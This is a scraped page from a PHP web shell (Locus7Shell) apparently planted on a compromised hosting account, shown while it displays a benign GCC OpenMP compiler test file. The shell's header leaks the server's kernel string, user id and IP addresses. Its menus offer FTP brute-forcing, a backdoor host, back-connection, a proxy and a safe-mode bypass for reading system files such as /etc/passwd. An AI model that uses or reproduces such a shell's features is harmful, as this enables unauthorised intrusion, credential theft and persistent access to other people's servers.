Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/gomp/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     udr-1.C (5.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// { dg-do compile }
// { dg-options "-fopenmp" }

namespace N1
{
  #pragma omp declare reduction (| : long int : omp_out |= omp_in)    // { dg-error "predeclared arithmetic type" }
  #pragma omp declare reduction (+ : char : omp_out += omp_in)        // { dg-error "predeclared arithmetic type" }
  typedef short T;
  #pragma omp declare reduction (min : T : omp_out += omp_in)        // { dg-error "predeclared arithmetic type" }
  #pragma omp declare reduction (* : _Complex double : omp_out *= omp_in)// { dg-error "predeclared arithmetic type" }
}
namespace N2
{
  template <typename T1, typename T2, typename T3, typename T4>
  struct S
  {
    #pragma omp declare reduction (| : T1 : omp_out |= omp_in)        // { dg-error "predeclared arithmetic type" }
    #pragma omp declare reduction (+ : T2 : omp_out += omp_in)        // { dg-error "predeclared arithmetic type" }
    typedef T3 T;
    #pragma omp declare reduction (min : T : omp_out += omp_in)        // { dg-error "predeclared arithmetic type" }
    #pragma omp declare reduction (* : T4 : omp_out *= omp_in)        // { dg-error "predeclared arithmetic type" }
  };
  S<long int, char, short, _Complex double> s;
  template <typename T1, typename T2, typename T3, typename T4>
  int foo ()
  {
    #pragma omp declare reduction (| : T1 : omp_out |= omp_in)        // { dg-error "predeclared arithmetic type" }
    #pragma omp declare reduction (+ : T2 : omp_out += omp_in)        // { dg-error "predeclared arithmetic type" }
    typedef T3 T;
    #pragma omp declare reduction (min : T : omp_out += omp_in)        // { dg-error "predeclared arithmetic type" }
    #pragma omp declare reduction (* : T4 : omp_out *= omp_in)        // { dg-error "predeclared arithmetic type" }
    return 0;
  }
  int x = foo <long int, char, short, _Complex double> ();
}
namespace N3
{
  void bar ();
  #pragma omp declare reduction (| : __typeof (bar) : omp_out |= omp_in)// { dg-error "function or array type" }
  #pragma omp declare reduction (+ : char () : omp_out += omp_in)    // { dg-error "function or array type" }
  typedef short T;
  #pragma omp declare reduction (min : T[2] : omp_out += omp_in)    // { dg-error "function or array type" }
  #pragma omp declare reduction (baz : char & : omp_out *= omp_in)    // { dg-error "reference type" }
}
namespace N4
{
  void bar ();
  template <typename T1, typename T2, typename T3, typename T4>
  struct S
  {
    #pragma omp declare reduction (| : T1 : omp_out |= omp_in)        // { dg-error "function or array type" }
    #pragma omp declare reduction (+ : T2 : omp_out += omp_in)        // { dg-error "function or array type" }
    typedef T3 T;
    #pragma omp declare reduction (min : T : omp_out += omp_in)        // { dg-error "function or array type" }
    #pragma omp declare reduction (baz : T4 : omp_out *= omp_in)    // { dg-error "function or array type" }
  };
  S<__typeof (bar), char (), short [3], char []> s;
  template <typename T1, typename T2, typename T3, typename T4>
  int foo ()
  {
    #pragma omp declare reduction (| : T1 : omp_out |= omp_in)        // { dg-error "function or array type" }
    #pragma omp declare reduction (+ : T2 : omp_out += omp_in)        // { dg-error "function or array type" }
    typedef T3 T;
    #pragma omp declare reduction (min : T : omp_out += omp_in)        // { dg-error "function or array type" }
    #pragma omp declare reduction (baz : T4 : omp_out *= omp_in)    // { dg-error "function or array type" }
    return 0;
  }
  int x = foo <__typeof (bar), char (), short[], char [2]> ();
}
namespace N5
{
  template <typename T>
  struct S
  {
    #pragma omp declare reduction (baz : T : omp_out *= omp_in)        // { dg-error "reference type" }
  };
  S<char &> s;
  template <typename T>
  int foo ()
  {
    #pragma omp declare reduction (baz : T : omp_out *= omp_in)        // { dg-error "reference type" }
    return 0;
  }
  int x = foo <char &> ();
}
namespace N6
{
  struct A { int a; A () : a (0) {} };
  #pragma omp declare reduction (| : const A : omp_out.a |= omp_in.a)    // { dg-error "'const', 'volatile' or '__restrict'" }
  #pragma omp declare reduction (+ : __const A : omp_out.a += omp_in.a)    // { dg-error "'const', 'volatile' or '__restrict'" }
  typedef volatile A T;
  #pragma omp declare reduction (min : T : omp_out.a += omp_in.a)    // { dg-error "'const', 'volatile' or '__restrict'" }
  #pragma omp declare reduction (* : A *__restrict : omp_out->a *= omp_in->a)// { dg-error "'const', 'volatile' or '__restrict'" }
}
namespace N7
{
  struct A { int a; A () : a (0) {} };
  template <typename T1, typename T2, typename T3, typename T4>
  struct S
  {
    #pragma omp declare reduction (| : T1 : omp_out |= omp_in)        // { dg-error "'const', 'volatile' or '__restrict'" }
    #pragma omp declare reduction (+ : T2 : omp_out += omp_in)        // { dg-error "'const', 'volatile' or '__restrict'" }
    typedef T3 T;
    #pragma omp declare reduction (min : T : omp_out += omp_in)        // { dg-error "'const', 'volatile' or '__restrict'" }
    #pragma omp declare reduction (* : T4 : omp_out *= omp_in)        // { dg-error "'const', 'volatile' or '__restrict'" }
  };
  S<const A, __const A, volatile A, A *__restrict> s;
  template <typename T1, typename T2, typename T3, typename T4>
  int foo ()
  {
    #pragma omp declare reduction (| : T1 : omp_out |= omp_in)        // { dg-error "'const', 'volatile' or '__restrict'" }
    #pragma omp declare reduction (+ : T2 : omp_out += omp_in)        // { dg-error "'const', 'volatile' or '__restrict'" }
    typedef T3 T;
    #pragma omp declare reduction (min : T : omp_out += omp_in)        // { dg-error "'const', 'volatile' or '__restrict'" }
    #pragma omp declare reduction (* : T4 : omp_out *= omp_in)        // { dg-error "'const', 'volatile' or '__restrict'" }
    return 0;
  }
  int x = foo <const A, __const A, volatile A, A *__restrict> ();
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0065 ]--